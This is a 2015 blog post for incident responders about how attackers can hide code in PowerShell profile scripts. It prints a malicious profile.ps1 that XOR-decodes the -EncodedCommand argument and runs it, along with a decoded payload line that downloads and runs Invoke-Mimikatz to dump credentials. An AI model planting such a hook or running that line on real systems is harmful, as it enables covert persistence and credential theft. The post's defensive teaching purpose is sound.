Saturday, November 14, 2015

Investigating Subversive PowerShell Profiles

With PowerShell attacks on the rise, it is important that incident responders be aware of exactly how PowerShell code is executed on a victim system. Once such aspect of code execution is the PowerShell profile - a script that executes upon loading powershell.exe or powershell_ise.exe. This is a place where an attacker could possibly insert subversive code that executes every time PowerShell is started. Consider the following hypothetical scenario:

You're investigating an organization who was smart and has command-line auditing enabled on all hosts. They captured the following suspected malicious invocation of powershell.exe:


The PowerShell expert you are knows that base64 encoded commands provided via the –EncodedCommand parameter are Unicode encoded strings. You run the following PowerShell code to decode the command and to your surprise, find that the provided command decodes to an unintelligible string.

$CommandBytes = [Convert]::FromBase64String($EncodedCommand)
$DecodedCommand = [Text.Encoding]::Unicode.GetString($CommandBytes)
# This will decode to an unintelligible string

Well, time to wrap up this part of the investigation. This couldn't possibly execute. Clearly the attacker doesn’t know how to properly encode their malicious PowerShell command, right??? Or... could the attacker be hiding something we don’t know? Can PowerShell execute anything beyond what was provided at the command line? Absolutely – a profile script!

If PowerShell is not invoked with the –NoProfile switch, it will execute profile scripts in the following order:

1) AllUsersAllHosts
2) AllUsersCurrentHost
3) CurrentUserAllHosts
4) CurrentUserCurrentHost

Depending upon how PowerShell was started – normal invocation, WoW64, Integrated Scripting Environment (ISE), profile scripts can be loaded from any of the following locations:

AllUsersAllHosts (WoW64)
AllUsersCurrentHost (ISE)
AllUsersCurrentHost (WoW64)
AllUsersCurrentHost (ISE - WoW64)
%homedrive%%homepath%\[My ]Documents\profile.ps1
%homedrive%%homepath%\[My ]Documents\Microsoft.PowerShell_profile.ps1
CurrentUserCurrentHost (ISE)
%homedrive%%homepath%\[My ]Documents\Microsoft.PowerShellISE_profile.ps1

Now knowing this, you search the hard drive image for the existence of any of those files and find the following PowerShell code in %windir%\System32\WindowsPowerShell\v1.0\profile.ps1:

$CommandLine = (Get-WmiObject Win32_Process -Filter "ProcessID = $PID").CommandLine

$Base64PayloadRegex = '-(?i:enc).* (?<EncodedPayload>([A-Za-z0-9\+/])+={0,2})'

if ($CommandLine -match $Base64PayloadRegex) {
    $EncodedPayload = $Matches['EncodedPayload']

    $EncodedPayloadBytes = [Convert]::FromBase64String($EncodedPayload)

    $XorKey = 'PureEvil'
    $KeyBytes = [Text.Encoding]::ASCII.GetBytes($XorKey)

    $DecodedBytes = New-Object Byte[]($EncodedPayloadBytes.Length)

    for ($i = 0; $i -lt $EncodedPayloadBytes.Length; $i++) {
        $DecodedBytes[$i] = $EncodedPayloadBytes[$i] -bxor ($KeyBytes[($i % $KeyBytes.Length)])

    $DecodedPayload = [Text.Encoding]::ASCII.GetString($DecodedBytes)

    Invoke-Expression -Command $DecodedPayload

Uh oh. It looks as if the attacker was relying upon an investigator overlooking the PowerShell profile. This code takes the base64 encoded argument, XOR decodes it, then executes it. Therefore, the encoded command provided at the command line indeed would have executed and it would have decoded to the following:

IEX (New-Object Net.WebClient).DownloadString('');Invoke-Mimikatz -DumpCreds | Out-File "$($Env:TEMP)\output.txt"

The moral of the story: when investigating PowerShell attacks, be sure to pull all profile scripts from an infected system.

Thanks to Oisin Grehen (@oising) for pointing me to where I could obtain the command line input of the currently running PowerShell process!

1) Understanding the Six PowerShell Profiles
2) Windows PowerShell Profiles